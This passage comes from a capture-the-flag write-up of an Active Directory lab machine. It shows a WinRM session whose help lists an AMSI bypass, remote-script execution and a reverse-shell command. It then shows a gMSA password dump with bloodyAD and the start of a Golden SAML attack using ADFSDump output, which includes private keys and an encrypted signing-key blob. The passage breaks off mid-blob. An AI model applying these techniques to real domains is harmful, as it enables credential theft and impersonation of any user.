</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="s1">'-target_ip'</span><span class="w"> </span><span class="n">not</span><span class="w"> </span><span class="nx">specified</span><span class="p">,</span><span class="w"> </span><span class="nx">using</span><span class="w"> </span><span class="nx">dc01.ghost.htb</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="s1">'-port'</span><span class="w"> </span><span class="n">not</span><span class="w"> </span><span class="nx">specified</span><span class="p">,</span><span class="w"> </span><span class="nx">using</span><span class="w"> </span><span class="nx">5985</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="s1">'-url'</span><span class="w"> </span><span class="n">not</span><span class="w"> </span><span class="nx">specified</span><span class="p">,</span><span class="w"> </span><span class="nx">using</span><span class="w"> </span><span class="nx">http://dc01.ghost.htb:5985/wsman</span><span class="w">                                          
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="kr">using</span><span class="w"> </span><span class="n">domain</span><span class="w"> </span><span class="nx">and</span><span class="w"> </span><span class="nx">username</span><span class="w"> </span><span class="nx">from</span><span class="w"> </span><span class="nx">ccache:</span><span class="w"> </span><span class="nx">GHOST.HTB\justin.bradley</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="s1">'-spn'</span><span class="w"> </span><span class="n">not</span><span class="w"> </span><span class="nx">specified</span><span class="p">,</span><span class="w"> </span><span class="nx">using</span><span class="w"> </span><span class="nx">HTTP/dc01.ghost.htb</span><span class="err">@</span><span class="nx">GHOST.HTB</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="s1">'-dc-ip'</span><span class="w"> </span><span class="n">not</span><span class="w"> </span><span class="nx">specified</span><span class="p">,</span><span class="w"> </span><span class="nx">using</span><span class="w"> </span><span class="nx">GHOST.HTB</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">requesting</span><span class="w"> </span><span class="nx">TGS</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">HTTP/dc01.ghost.htb</span><span class="err">@</span><span class="nx">GHOST.HTB</span><span class="w">

</span><span class="n">Ctrl</span><span class="o">+</span><span class="nx">D</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">exit</span><span class="p">,</span><span class="w"> </span><span class="nx">Ctrl</span><span class="o">+</span><span class="nx">C</span><span class="w"> </span><span class="nx">will</span><span class="w"> </span><span class="nx">try</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">interrupt</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">running</span><span class="w"> </span><span class="nx">pipeline</span><span class="w"> </span><span class="nx">gracefully</span><span class="w">
</span><span class="n">This</span><span class="w"> </span><span class="nx">is</span><span class="w"> </span><span class="nx">not</span><span class="w"> </span><span class="nx">an</span><span class="w"> </span><span class="nx">interactive</span><span class="w"> </span><span class="nx">shell</span><span class="o">!</span><span class="w"> </span><span class="nx">If</span><span class="w"> </span><span class="nx">you</span><span class="w"> </span><span class="nx">need</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">run</span><span class="w"> </span><span class="nx">programs</span><span class="w"> </span><span class="nx">that</span><span class="w"> </span><span class="nx">expect</span><span class="w">
</span><span class="n">inputs</span><span class="w"> </span><span class="nx">from</span><span class="w"> </span><span class="nx">stdin</span><span class="p">,</span><span class="w"> </span><span class="nx">or</span><span class="w"> </span><span class="nx">exploits</span><span class="w"> </span><span class="nx">that</span><span class="w"> </span><span class="nx">spawn</span><span class="w"> </span><span class="nx">cmd.exe</span><span class="p">,</span><span class="w"> </span><span class="nx">etc.</span><span class="p">,</span><span class="w"> </span><span class="nx">pop</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="o">!</span><span class="nx">revshell</span><span class="w">

</span><span class="n">Special</span><span class="w"> </span><span class="o">!</span><span class="nx">bangs:</span><span class="w">
  </span><span class="o">!</span><span class="n">download</span><span class="w"> </span><span class="nx">RPATH</span><span class="w"> </span><span class="p">[</span><span class="n">LPATH</span><span class="p">]</span><span class="w">          </span><span class="c"># downloads a file or directory (as a zip file); use 'PATH'</span><span class="w">
                                   </span><span class="c"># if it contains whitespace</span><span class="w">

  </span><span class="o">!</span><span class="n">upload</span><span class="w"> </span><span class="p">[</span><span class="o">-xor</span><span class="p">]</span><span class="w"> </span><span class="nx">LPATH</span><span class="w"> </span><span class="p">[</span><span class="n">RPATH</span><span class="p">]</span><span class="w">     </span><span class="c"># uploads a file; use 'PATH' if it contains whitespace, though use iwr</span><span class="w">
                                   </span><span class="c"># if you can reach your ip from the box, because this can be slow;</span><span class="w">
                                   </span><span class="c"># use -xor only in conjunction with !psrun/!netrun</span><span class="w">

  </span><span class="o">!</span><span class="n">amsi</span><span class="w">                            </span><span class="c"># amsi bypass, run this right after you get a prompt</span><span class="w">

  </span><span class="o">!</span><span class="n">psrun</span><span class="w"> </span><span class="p">[</span><span class="o">-xor</span><span class="p">]</span><span class="w"> </span><span class="nx">URL</span><span class="w">                </span><span class="c"># run .ps1 script from url; uses ScriptBlock smuggling, so no !amsi patching is</span><span class="w">
                                   </span><span class="c"># needed unless that script tries to load a .NET assembly; if you can't reach</span><span class="w">
                                   </span><span class="c"># your ip, !upload with -xor first, then !psrun -xor 'c:\foo\bar.ps1' (needs absolute path)</span><span class="w">

  </span><span class="o">!</span><span class="n">netrun</span><span class="w"> </span><span class="p">[</span><span class="o">-xor</span><span class="p">]</span><span class="w"> </span><span class="nx">URL</span><span class="w"> </span><span class="p">[</span><span class="n">ARG</span><span class="p">]</span><span class="w"> </span><span class="p">[</span><span class="n">ARG</span><span class="p">]</span><span class="w">   </span><span class="c"># run .NET assembly from url, use 'ARG' if it contains whitespace;</span><span class="w">
                                   </span><span class="c"># !amsi first if you're getting '...program with an incorrect format' errors;</span><span class="w">
                                   </span><span class="c"># if you can't reach your ip, !upload with -xor first then !netrun -xor 'c:\foo\bar.exe' (needs absolute path)</span><span class="w">

  </span><span class="o">!</span><span class="n">revshell</span><span class="w"> </span><span class="nx">IP</span><span class="w"> </span><span class="nx">PORT</span><span class="w">                </span><span class="c"># pop a revshell at IP:PORT with stdin/out/err redirected through a socket; if you can't reach your ip and you</span><span class="w">
                                   </span><span class="c"># you need to run an executable that expects input, try:</span><span class="w">
                                   </span><span class="c"># PS&gt; Set-Content -Encoding ASCII 'stdin.txt' "line1`nline2`nline3"</span><span class="w">
                                   </span><span class="c"># PS&gt; Start-Process some.exe -RedirectStandardInput 'stdin.txt' -RedirectStandardOutput 'stdout.txt'</span><span class="w">

  </span><span class="o">!</span><span class="n">log</span><span class="w">                             </span><span class="c"># start logging output to winrmexec_[timestamp]_stdout.log</span><span class="w">
  </span><span class="o">!</span><span class="n">stoplog</span><span class="w">                         </span><span class="c"># stop logging output to winrmexec_[timestamp]_stdout.log</span><span class="w">

</span><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Users\justin.bradley\Documents</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">ls</span><span class="w"> </span><span class="o">..</span><span class="nx">/Desktop</span><span class="w">


    </span><span class="n">Directory:</span><span class="w"> </span><span class="nx">C:\Users\justin.bradley\Desktop</span><span class="w">


</span><span class="n">Mode</span><span class="w">                 </span><span class="nx">LastWriteTime</span><span class="w">         </span><span class="nx">Length</span><span class="w"> </span><span class="nx">Name</span><span class="w">                                                                  
</span><span class="o">----</span><span class="w">                 </span><span class="o">-------------</span><span class="w">         </span><span class="o">------</span><span class="w"> </span><span class="o">----</span><span class="w">                                                                  
</span><span class="nt">-ar</span><span class="o">---</span><span class="w">         </span><span class="mi">9</span><span class="n">/23/2026</span><span class="w">   </span><span class="nx">6:31</span><span class="w"> </span><span class="nx">PM</span><span class="w">             </span><span class="nx">34</span><span class="w"> </span><span class="nx">user.txt</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>There we can find the <code class="language-plaintext highlighter-rouge">user</code> flag.</p>
<h1 id="root">Root</h1>
<h2 id="adfs_gmsa-via-gmsa-dump">adfs_gmsa via GMSA Dump</h2>
<p>We’ve enumerated earlier that <code class="language-plaintext highlighter-rouge">justin.bradley</code> is a member of the <code class="language-plaintext highlighter-rouge">msDS-GroupMSAMembership</code> who can read <code class="language-plaintext highlighter-rouge">GMSA</code> account passwords, let’s do just that.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">bloodyAD</span><span class="w"> </span><span class="nt">-H</span><span class="w"> </span><span class="nx">dc01.ghost.htb</span><span class="w"> </span><span class="nt">-d</span><span class="w"> </span><span class="nx">ghost.htb</span><span class="w"> </span><span class="nt">-k</span><span class="w"> </span><span class="nx">get</span><span class="w"> </span><span class="nx">object</span><span class="w"> </span><span class="s2">"adfs_gmsa$"</span><span class="w"> </span><span class="nt">--attr</span><span class="w"> </span><span class="nx">msDs-ManagedPassword</span><span class="w">

</span><span class="n">distinguishedName:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">adfs_gmsa</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">Managed</span><span class="w"> </span><span class="nx">Service</span><span class="w"> </span><span class="nx">Accounts</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span><span class="nx">msDS-ManagedPassword.NT:</span><span class="w"> </span><span class="nx">e37b1</span><span class="p">[</span><span class="n">REDACTED</span><span class="p">]</span><span class="w">
</span><span class="n">msDS-ManagedPassword.B64ENCODED:</span><span class="w"> </span><span class="nx">0rTxkbJ</span><span class="o">+</span><span class="nx">YrPyMgMEp1BsR6qHO</span><span class="p">[</span><span class="n">REDACTED</span><span class="p">]</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s check our authentication.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="rouge-code"><pre>PS /home/w1ld/ALPHA/ghost&gt; klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: adfs_gmsa<span class="nv">$@</span>GHOST.HTB

Valid starting       Expires              Service principal
09/24/2026 22:45:15  09/25/2026 08:45:15  krbtgt/GHOST.HTB@GHOST.HTB
        renew <span class="k">until </span>09/25/2026 22:45:14
PS /home/w1ld/ALPHA/ghost&gt; nxc ldap dc01.ghost.htb <span class="nt">-k</span> <span class="nt">--use-kcache</span> <span class="nt">-M</span> <span class="nb">whoami             
</span>LDAP        dc01.ghost.htb  389    DC01             <span class="o">[</span><span class="k">*</span><span class="o">]</span> Windows Server 2022 Build 20348 <span class="o">(</span>name:DC01<span class="o">)</span> <span class="o">(</span>domain:GHOST.HTB<span class="o">)</span> <span class="o">(</span>signing:None<span class="o">)</span> <span class="o">(</span>channel binding:Never<span class="o">)</span> 
LDAP        dc01.ghost.htb  389    DC01             <span class="o">[</span>+] GHOST.HTB<span class="se">\a</span>dfs_gmsa<span class="nv">$ </span>from ccache 
WHOAMI      dc01.ghost.htb  389    DC01             Name: adfs_gmsa
WHOAMI      dc01.ghost.htb  389    DC01             sAMAccountName: adfs_gmsa<span class="err">$</span>
WHOAMI      dc01.ghost.htb  389    DC01             Enabled: Yes
WHOAMI      dc01.ghost.htb  389    DC01             Password Never Expires: No
WHOAMI      dc01.ghost.htb  389    DC01             Last logon: 2026-09-24 12:45:15 UTC
WHOAMI      dc01.ghost.htb  389    DC01             Password Last Set: 2026-09-24 01:31:40 UTC
WHOAMI      dc01.ghost.htb  389    DC01             Bad Password Count: 0
WHOAMI      dc01.ghost.htb  389    DC01             Service Account Name<span class="o">(</span>s<span class="o">)</span> found - Potentially Kerberoastable user!
WHOAMI      dc01.ghost.htb  389    DC01             Service Account Name: host/federation.ghost.htb
WHOAMI      dc01.ghost.htb  389    DC01             Distinguished Name: <span class="nv">CN</span><span class="o">=</span>adfs_gmsa,CN<span class="o">=</span>Managed Service Accounts,DC<span class="o">=</span>ghost,DC<span class="o">=</span>htb
WHOAMI      dc01.ghost.htb  389    DC01             Member of: <span class="nv">CN</span><span class="o">=</span>Remote Management Users,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>ghost,DC<span class="o">=</span>htb
WHOAMI      dc01.ghost.htb  389    DC01             User SID: S-1-5-21-4084500788-938703357-3654145966-4101
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="coreghosthtb-administrator-via-golden-saml">core.ghost.htb Administrator via Golden SAML</h2>
<p>We find a very interesting <code class="language-plaintext highlighter-rouge">SPN</code>: <code class="language-plaintext highlighter-rouge">host/federation.ghost.htb</code>, this implies that there’s an <code class="language-plaintext highlighter-rouge">ADFS</code> endpoint with the domain of <code class="language-plaintext highlighter-rouge">federation.ghost.htb</code>. One of the attacks we can perform against <code class="language-plaintext highlighter-rouge">ADFS</code> is the <code class="language-plaintext highlighter-rouge">Golden SAML</code> attack which requires an <code class="language-plaintext highlighter-rouge">Identity Provider</code> to produce a <code class="language-plaintext highlighter-rouge">SAMLResponse</code> after a sign in.</p>

<p>I’ll run <code class="language-plaintext highlighter-rouge">ADFSDump.exe</code> on a <code class="language-plaintext highlighter-rouge">winrm</code> session to grab as much information about the <code class="language-plaintext highlighter-rouge">ADFS</code> service on the machine as possible.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\w1ld</span><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="nx">/ADFSDump.exe</span><span class="w">
    </span><span class="err">___</span><span class="w">    </span><span class="err">____</span><span class="w">  </span><span class="err">___________</span><span class="w"> </span><span class="err">____</span><span class="w">                      
   </span><span class="n">/</span><span class="w">   </span><span class="o">|</span><span class="w">  </span><span class="n">/</span><span class="w"> </span><span class="nx">__</span><span class="w"> </span><span class="nx">\/</span><span class="w"> </span><span class="nx">____/</span><span class="w"> </span><span class="nx">___//</span><span class="w"> </span><span class="nx">__</span><span class="w"> </span><span class="nx">\__</span><span class="w">  </span><span class="nx">______</span><span class="w"> </span><span class="nx">___</span><span class="w">  </span><span class="nx">____</span><span class="w"> 
  </span><span class="n">/</span><span class="w"> </span><span class="nx">/</span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/_</span><span class="w">   </span><span class="nx">\__</span><span class="w"> </span><span class="nx">\/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">__</span><span class="w"> </span><span class="se">`_</span><span class="nx">_</span><span class="w"> </span><span class="nx">\/</span><span class="w"> </span><span class="nx">__</span><span class="w"> </span><span class="nx">\</span><span class="w">
 </span><span class="n">/</span><span class="w"> </span><span class="nx">___</span><span class="w"> </span><span class="o">|</span><span class="n">/</span><span class="w"> </span><span class="nx">/_/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">__/</span><span class="w">  </span><span class="nx">___/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/_/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/_/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">/_/</span><span class="w"> </span><span class="nx">/</span><span class="w">
</span><span class="n">/_/</span><span class="w">  </span><span class="o">|</span><span class="err">_</span><span class="n">/_____/_/</span><span class="w">    </span><span class="nx">/____/_____/\__</span><span class="p">,</span><span class="nx">_/_/</span><span class="w"> </span><span class="nx">/_/</span><span class="w"> </span><span class="nx">/_/</span><span class="w"> </span><span class="o">.</span><span class="nf">___</span><span class="nx">/</span><span class="w"> 
                                              </span><span class="n">/_/</span><span class="w">      
</span><span class="n">Created</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="err">@</span><span class="nx">doughsec</span><span class="w">


</span><span class="c">## Extracting Private Key from Active Directory Store</span><span class="w">
</span><span class="p">[</span><span class="o">-</span><span class="p">]</span><span class="w"> </span><span class="n">Domain</span><span class="w"> </span><span class="nx">is</span><span class="w"> </span><span class="nx">ghost.htb</span><span class="w">
</span><span class="p">[</span><span class="o">-</span><span class="p">]</span><span class="w"> </span><span class="kr">Private</span><span class="w"> </span><span class="n">Key:</span><span class="w"> </span><span class="nx">FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7</span><span class="w">


</span><span class="p">[</span><span class="o">-</span><span class="p">]</span><span class="w"> </span><span class="kr">Private</span><span class="w"> </span><span class="n">Key:</span><span class="w"> </span><span class="nx">8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1</span><span class="w">


</span><span class="c">## Reading Encrypted Signing Key from Database</span><span class="w">
</span><span class="p">[</span><span class="o">-</span><span class="p">]</span><span class="w"> </span><span class="n">Encrypted</span><span class="w"> </span><span class="nx">Token</span><span class="w"> </span><span class="nx">Signing</span><span class="w"> </span><span class="nx">Key</span><span class="w"> </span><span class="nx">Begin</span><span class="w">
</span><span class="n">AAAAAQAAAAAEEAFyHlNXh2VDska8KMTxXboGCWCGSAFlAwQCAQYJYIZIAWUDBAIBBglghkgBZQMEAQIEIN38LpiFTpYLox2V3SL3knZBg16utbeqqwIestbeUG4eBBBJvH3Vzj/Slve2Mo4AmjytIIIQoMESvyRB6RLWIoeJzgZOngBMCuZR8UAfqYsWK2XKYwRzZKiMCn6hLezlrhD8ZoaAaaO1IjdwMBButAFkCFB3/DoFQ/9cm33xSmmBHfrtufhYxpFiAKNAh1stkM2zxmPLdkm2jDlAjGiRbpCQrXhtaR</span><span class="o">+</span><span class="nx">z1tYd4m8JhBr3XDSURrJzmnIDMQH8pol</span><span class="o">+</span><span class="nx">wGqKIGh4xl9BgNPLpNqyT56/59TC7XtWUnCYybr7nd9XhAbOAGH/Am4VMlBTZZK8dbnAmwirE2fhcvfZw</span><span class="o">+</span><span class="nx">ERPjnrVLEpSDId8rgIu6lCWzaKdbvdKDPDxQcJuT/TAoYFZL9OyKsC6GFuuNN1FHgLSzJThd8FjUMTMoGZq3Cl7HlxZwUDzMv3mS6RaXZaY/zxFVQwBYquxnC0z71vxEpixrGg3vEs7ADQynEbJtgsy8EceDMtw6mxgsGloUhS5ar6ZUE3Qb/DlvmZtSKPaT4ft/x4MZzxNXRNEtS</span><span class="o">+</span><span class="nx">D/bgwWBeo3dh85LgKcfjTziAXH8DeTN1Vx7WIyT5v50dPJXJOsHfBPzvr1lgwtm6KE/tZALjatkiqAMUDeGG0hOmoF9dGO7h2FhMqIdz4UjMay3Wq0WhcowntSPPQMYVJEyvzhqu8A0rnj/FC/IRB2omJirdfsserN</span><span class="o">+</span><span class="nx">WmydVlQqvcdhV1jwMmOtG2vm6JpfChaWt2ou59U2MMHiiu8TzGY1uPfEyeuyAr51EKzqrgIEaJIzV1BHKm1p</span><span class="o">+</span><span class="nx">xAts0F5LkOdK4qKojXQNxiacLd5ADTNamiIcRPI8AVCIyoVOIDpICfei1NTkbWTEX/IiVTxUO1QCE4EyTz/WOXw3rSZA546wsl6QORSUGzdAToI64tapkbvYpbNSIuLdHqGplvaYSGS2Iomtm48YWdGO5ec4KjjAWamsCwVEbbVwr9eZ8N48gfcGMq13ZgnCd43LCLXlBfdWonmgOoYmlqeFXzY5OZAK77YvXlGL94opCoIlRdKMhB02Ktt</span><span class="o">+</span><span class="nx">rakCxxWEFmdNiLUS</span><span class="o">+</span><span class="nx">SdRDcGSHrXMaBc3AXeTBq09tPLxpMQmiJidiNC4qjPvZhxouPRxMz75OWL2Lv1zwGDWjnTAm8TKafTcfWsIO0n3aUlDDE4tVURDrEsoI10rBApTM/2RK6oTUUG25wEmsIL9Ru7AHRMYqKSr9uRqhIpVhWoQJlSCAoh</span><span class="o">+</span><span class="nx">Iq2nf26sBAev2Hrd84RBdoFHIbe7vpotHNCZ/pE0s0QvpMUU46HPy3NG9sR/OI2lxxZDKiSNdXQyQ5vWcf/UpXuDL8Kh0pW/bjjfbWqMDyi77AjBdXUce6Bg</span><span class="o">+</span><span class="nx">LN32ikxy2pP35n1zNOy9vBCOY5WXzaf0e</span><span class="o">+</span><span class="nx">PU1woRkUPrzQFjX1nE7HgjskmA4KX5JGPwBudwxqzHaSUfEIM6NLhbyVpCKGqoiGF6Jx1uihzvB98nDM9qDTwinlGyB4MTCgDaudLi0a4aQoINcRvBgs84fW</span><span class="o">+</span><span class="nx">XDj7KVkH65QO7TxkUDSu3ADENQjDNPoPm0uCJprlpWeI9</span><span class="o">+</span><span class="nx">EbsVy27fe0ZTG03lA5M7xmi4MyCR9R9UPz8/YBTOWmK32qm95nRct0vMYNSNQB4V/u3oIZq46J9FDtnDX1NYg9/kCADCwD/UiTfNYOruYGmWa3ziaviKJnAWmsDWGxP8l35nZ6SogqvG51K85ONdimS3FGktrV1pIXM6/bbqKhWrogQC7lJbXsrWCzrtHEoOz2KTqw93P0WjPE3dRRjT1S9KPsYvLYvyqNhxEgZirxgccP6cM0N0ZUfaEJtP21sXlq4P1Q24bgluZFG1XbDA8tDbCWvRY1qD3CNYCnYeqD4e7rgxRyrmVFzkXEFrIAkkq1g8MEYhCOn3M3lfHi1L6de98AJ9nMqAAD7gulvvZpdxeGkl3xQ</span><span class="o">+</span><span class="nx">jeQGu8mDHp7PZPY</span><span class="o">+</span><span class="nx">uKf5w87J6l48rhOk1Aq</span><span class="o">+</span><span class="nx">OkjJRIQaFMeOFJnSi1mqHXjPZIqXPWGXKxTW7P</span><span class="o">+</span><span class="nx">zF8yXTk5o0mHETsYQErFjU40TObPK1mn2DpPRbCjszpBdA3Bx2zVlfo3rhPVUJv2vNUoEX1B0n</span><span class="o">+</span><span class="nx">BE2DoEI0TeZHM/gS4dZLfV/</span><span class="o">+</span><span class="nx">q8vTQPnGFhpvU5mWnlAqrn71VSb</span><span class="o">+</span><span class="nx">BarPGoTNjHJqRsAp7lh0zxVxz9J4xWfX5HPZ9qztF1mGPyGr/8uYnOMdd</span><span class="o">+</span><span class="nx">4ndeKyxIOfl4fce91CoYkSsM95ZwsEcRPuf5gvHdqSi1rYdCrecO</span><span class="o">+</span><span class="nx">RChoMwvLO8</span><span class="o">+</span><span class="nx">MTEBPUNQ8YVcQyecxjaZtYtK</span><span class="o">+</span><span class="nx">GZqyQUaNyef4V6tcjreFQF93oqDqvm5CJpmBcomVmIrKu8X7TRdmSuz9LhjiYXM</span><span class="o">+</span><span class="nx">RHhNi6v8Y2rHfQRspKM4rDyfdqu1D</span><span class="o">+</span><span class="nx">jNuRMyLc/X573GkMcBTiisY1R</span><span class="o">+</span><span class="nx">8k2O46jOMxZG5NtoL2FETir85KBjM9Jg</span><span class="o">+</span><span class="nx">2nlHgAiCBLmwbxOkPiIW3J120gLkIo9MF2kXWBbSy6BqNu9dPqOjSAaEoH</span><span class="o">+</span><span class="nx">Jzm4KkeLrJVqLGzx0SAm3KHKfBPPECqj</span><span class="o">+</span><span class="nx">AVBCVDNFk6fDWAGEN</span><span class="o">+</span><span class="nx">LI/I61IEOXIdK1HwVBBNj9LP83KMW</span><span class="o">+</span><span class="nx">DYdJaR</span><span class="o">+</span><span class="nx">aONjWZIoYXKjvS8iGET5vx8omuZ3Rqj9nTRBbyQdT9dVXKqHzsK5EqU1W1hko3b9sNIVLnZGIzCaJkAEh293vPMi2bBzxiBNTvOsyTM0Evin2Q/v8Bp8Xcxv/JZQmjkZsLzKZbAkcwUf7</span><span class="o">+</span><span class="nx">/ilxPDFVddTt</span><span class="o">+</span><span class="nx">TcdVP0Aj8Wnxkd9vUP0Tbar6iHndHfvnsHVmoEcFy1cb1mBH9kGkHBu2PUl/9UySrTRVNv</span><span class="o">+</span><span class="nx">oTlf</span><span class="o">+</span><span class="nx">ZS/HBatxsejAxd4YN/AYanmswz9FxF96ASJTX64KLXJ9HYDNumw0</span><span class="o">+</span><span class="nx">KmBUv8Mfu14h/2wgMaTDGgnrnDQAJZmo40KDAJ4WV5Akmf1K2tPginqo2qiZYdwS0dWqnnEOT0p</span><span class="o">+</span><span class="nx">qR</span><span class="o">++</span><span class="nx">cAae16Ey3cku52JxQ2UWQL8EB87vtp9YipG2C/3MPMBKa6TtR1nu/C3C/38UBGMfclAb0pfb7dhuT3mV9antYFcA6LTF9ECSfbhFobG6WS8tWJimVwBiFkE0GKzQRnvgjx7B1MeAuLF8fGj7HwqQKIVD5vHh7WhXwuyRpF3kRThbkS8ZadKpDH6FUDiaCtQ1l8mEC8511dTvfTHsRFO1j</span><span class="o">+</span><span class="nx">wZweroWFGur4Is197IbdEiFVp/zDvChzWXy071fwwJQyGdOBNmra1sU8nAtHAfRgdurHiZowVkhLRZZf3UM76OOM8cvs46rv5F3K</span><span class="o">++</span><span class="nx">b0F</span><span class="o">+</span><span class="nx">cAbs/9aAgf49Jdy328jT0ir5Q</span><span class="o">+</span><span class="nx">b3eYss2ScLJf02FiiskhYB9w7EcA</span><span class="o">+</span><span class="nx">WDMu0aAJDAxhy8weEFh72VDBAZkRis0EGXrLoRrKU60ZM38glsJjzxbSnHsp1z1F9gZXre4xYwxm7J799FtTYrdXfQggTWqj</span><span class="o">+</span><span class="nx">uTwV5nmGki/8CnZX23jGkne6tyLwoMRNbIiGPQZ4hGwNhoA6kItBPRAHJs4rhKOeWNzZ</span><span class="o">+</span><span class="nx">sJeDwOiIAjb</span><span class="o">+</span><span class="nx">V0FgqrIOcP/orotBBSQGaNUpwjLKRPx2nlI1VHSImDXizC6YvbKcnSo3WZB7NXIyTaUmKtV9h</span><span class="o">+</span><span class="nx">27/NP</span><span class="o">+</span><span class="nx">aChhILTcRe4WvA0g</span><span class="o">+</span><span class="nx">QTG5ft9GSuqX94H</span><span class="o">+</span><span class="nx">mX2zVEPD2Z5YN2UwqeA2EAvWJDTcSN/pDrDBQZD2kMB8P4Q7jPauEPCRECgy43se/DU</span><span class="o">+</span><span class="nx">P63NBFTa5tkgmG2</span><span class="o">+</span><span class="nx">E05RXnyP</span><span class="o">+</span><span class="nx">KZPWeUP/lXOIA6PNvyhzzobx52OAewljfBizErthcAffnyPt6</span><span class="o">+</span><span class="nx">zPdqHZMlfrkn</span><span class="o">+</span><span class="nx">SY0JSMeR7pq0RIgZy0sa692</span><span class="o">+</span><span class="nx">XtIcHYUcpaPl9hwRjE/5dpRtyt3w9fXR4dtf</span><span class="o">+</span><span class="nx">rf</span><span class="o">+</span><span class="nx">O2NI7h0l1xdmcShiRxHfp</span><span class="o">+</span><span class="nx">9AZTz0H0aguK9aCZY7Sc9WR0X4nv0vSQB7fzFTNG</span><span class="o">+</span><span class="nx">hOr0PcOh</span><span class="o">+</span><span class="nx">KIETfiR9KUerB1zbpW</span><span class="o">+</span><span class="nx">XEUcG9wCyb8OMc4ndpo1WbzLAn7WNDTY9UcHmFJFVmRGbLt2</span><span class="o">+</span><span class="nx">Pe5fikQxIVLfRCwUikNeKY/3YiOJV3XhA6x6e2zjN3I/Tfo1/eldj0IbE7RP4ptUjyuWkLcnWNHZr8YhLaWTbucDI8R8MXAjZqNCX7WvJ5i</span><span class="o">+</span><span class="nx">YzJ8S</span><span class="o">+</span><span class="nx">IQbM8R2DKeFXOTTV3w6gL1rAYUpF9xwe6CCItxrsP3v59mn21bvj3HunOEJI3aAoStJgtO4K</span><span class="o">+</span><span class="nx">SOeIx</span><span class="o">+</span><span class="nx">Fa7dLxpTEDecoNsj6hjMdGsrqzuolZX/GBF1SotrYN</span><span class="o">+</span><span class="nx">W63MYSiZps6bWpc8WkCsIqMiOaGa1eNLvAlupUNGSBlcXNogdKU0R6AFKM60AN2FFd7n4R5TC76ZHIKGmxUcq9EuYdeqamw0TB4fW0YMW4OZqQyx6Z8m3J7hA2uZfB7jYBl2myMeBzqwQYTsEqxqV3QuT2uOwfAi5nknlWUWRvWJl4Ktjzdv3Ni</span><span class="o">+</span><span class="nx">8O11M</span><span class="o">+</span><span class="nx">F5gT1/6E9MfchK0GK2tOM6qI8qrroLMNjBHLv4XKAx6rEJsTjPTwaby8IpYjg6jc7DSJxNT</span><span class="o">+</span><span class="nx">W9F82wYc7b3nBzmuIPk8LUfQb7QQLJjli</span><span class="o">+</span><span 